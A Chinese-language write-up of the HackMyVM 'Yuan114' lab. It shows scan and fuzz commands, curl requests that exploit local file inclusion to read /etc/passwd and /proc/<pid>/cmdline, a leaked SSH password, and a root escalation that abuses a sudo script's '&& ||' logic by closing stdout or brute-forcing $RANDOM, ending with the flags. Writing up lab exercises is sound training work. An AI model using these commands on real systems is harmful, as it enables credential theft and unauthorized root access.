HackMyVM Yuan114 通关记录|LFI 读取进程参数与 sudo 脚本逻辑缺陷提权
靶机链接:Yuan114
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Yuan114 | 192.168.1.117 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache | 明确主要攻击面在 Web 与 SSH |
| 可疑入口 | /file.php 返回 500 | 说明文件可能需要参数或存在异常路径 |
| LFI 确认 | file=/etc/passwd 可读 | 确认 file 参数存在任意文件读取 |
| 源码确认 | php://filter/convert.base64-encode/resource=file.php | 确认后端使用 file_get_contents() |
| 凭据泄露 | /proc/<pid>/cmdline 暴露 welcome 密码 | 从 LFI 获得 SSH 初始权限 |
| Root 提权 | sudo /opt/short.sh 可执行 | 利用 shell 逻辑缺陷或随机数碰撞获取 root |
0x02 侦察与信息收集 (Reconnaissance)
1. 全端口扫描 (RustScan)
命令:
rustscan -a 192.168.1.117 --ulimit 5000 -- -sV
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 11u3 |
80/tcp | HTTP | Apache httpd 2.4.62 |
分析: 目标暴露面非常收敛,只有 SSH 与 HTTP。SSH 通常需要凭据,优先从 80 端口 Web 侧寻找文件、参数和信息泄露。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. Web PHP 文件枚举
使用 ffuf 扫描 Web 根目录下的 PHP 文件:
ffuf -u http://192.168.1.117/FUZZ.php -w /usr/share/wordlists/dirb/common.txt -mc 200,500
发现: /file.php 返回 500 状态码。
分析: 500 不是正常页面,但它是很有价值的线索。对文件读取类入口来说,缺少参数、参数值为空、路径不可用都可能触发后端异常。
2. 参数 Fuzz 与 LFI 确认
对 file.php 的 GET 参数名进行 Fuzz:
ffuf -u http://192.168.1.117/file.php?FUZZ=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -mc 200
确认参数名为 file 后,尝试读取系统文件:
curl -sS 'http://192.168.1.117/file.php?file=/etc/passwd'
如果响应中出现系统用户,例如 root、www-data、普通用户目录等,即可确认 file 参数存在 LFI / 任意文件读取。
3. 读取源码确认逻辑
使用 PHP filter 读取 file.php 源码:
curl -sS 'http://192.168.1.117/file.php?file=php://filter/convert.base64-encode/resource=file.php' | base64 -d
<?php
// file.php
$file = $_GET['file'];
echo file_get_contents($file);
?>
源码证实后端使用 file_get_contents() 读取文件。这个点的关键结论是:
- 可以读取本地文件。
- 不是
include/require,无法直接通过 PHP 代码包含触发 RCE。 - 后续攻击方向应从“执行代码”转向“读取敏感文件与运行时信息”。
0x04 核心攻击链:信息泄露获取初始权限
1. 读取 /proc 进程信息
常规日志投毒、PHP wrapper RCE 不通时,可以转向读取 /proc。在 Linux 中,/proc/<pid>/cmdline 可能暴露进程启动参数;如果服务把账号、密码、Token 直接写在命令行里,LFI 就能把它们读出来。
遍历 PID 获取命令行信息:
for i in {1..1000}; do
curl -s "http://192.168.1.117/file.php?file=/proc/$i/cmdline" | tr '\0' ' ' && echo ""
done
关键发现:
service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity
这里泄露了可用凭据:
| 用户名 | 密码 |
|---|---|
welcome | 6WXqj9Vc2tdXQ3TN0z54 |
2. SSH 初始访问
使用泄露凭据登录 SSH:
登录成功后读取 user flag:
cat user.txt
User Flag:
flag{user-210f652e7e3b7e7359e523ef04e96295}
0x05 权限提升 (Privilege Escalation)
1. sudo 权限枚举
登录后检查当前用户可执行的 sudo 命令:
sudo -l
发现 welcome 可以通过 sudo 执行:
/opt/short.sh
#!/bin/bash
PATH=/usr/bin
My_guess=$RANDOM
echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
echo "Nop";
else
bash -i;
fi
EOF
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
脚本关键逻辑如下:
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
这段逻辑的含义是:如果传入参数不等于脚本内部生成的 $My_guess,就输出 Nop;否则执行 bash -i。问题在于 && echo "Nop" 的返回值也参与了后续 || bash -i 判断。如果让 echo 执行失败,即使参数猜错,也会落到 || bash -i。
方法 A:关闭标准输出诱导报错
关闭 stdout,让 echo "Nop" 写标准输出时失败,从而触发 || bash -i:
sudo /opt/short.sh pwned >&-
由于 stdout 被关闭,交互回显会异常。可以用盲打方式把 root flag 写到临时文件:
cat /root/root.txt > /tmp/flag.txt
exit
cat /tmp/flag.txt
方法 B:恢复标准输出交互
进入 root shell 后,把 stdout 重定向到 stderr 来恢复回显:
sudo /opt/short.sh pwned >&-
exec 1>&2
id
确认 root 身份:
uid=0(root) gid=0(root) groups=0(root)
方法 C:随机数碰撞暴力破解
如果不走文件描述符技巧,也可以利用 Bash $RANDOM 范围只有 0-32767 的特点进行碰撞:
for i in {0..32767}; do
sudo /opt/short.sh $i <<< "cat /root/root.txt" 2>/dev/null | grep "flag" && break
done
这个方式思路更直观,但效率和稳定性取决于脚本每次生成随机数的时机、sudo 调用开销以及输出处理。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/welcome/user.txt - 内容:
flag{user-210f652e7e3b7e7359e523ef04e96295}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-c3dbe270140775bb9fc6eaa2559f914f}
复盘总结
Yuan114 的关键不是复杂利用,而是方向切换:
/file.php的file参数能读取文件,但源码确认它只是file_get_contents(),不适合继续硬怼 PHP 代码执行。- LFI 读取
/proc/<pid>/cmdline是本题突破点,进程参数中泄露了welcome用户密码。 - 初始权限来自 SSH,不来自 WebShell。
- Root 提权点在 sudo 脚本的 shell 逻辑缺陷:
cmd1 && cmd2 || cmd3中间命令失败时,会意外进入cmd3。 - 关闭 stdout 诱导
echo报错,是比暴力碰撞随机数更稳定的提权方式。
这类题目提醒我们:当 LFI 无法直接 RCE 时,仍应系统性读取运行时信息,例如 /proc/self/environ、/proc/<pid>/cmdline、配置文件、日志、用户目录和服务启动脚本。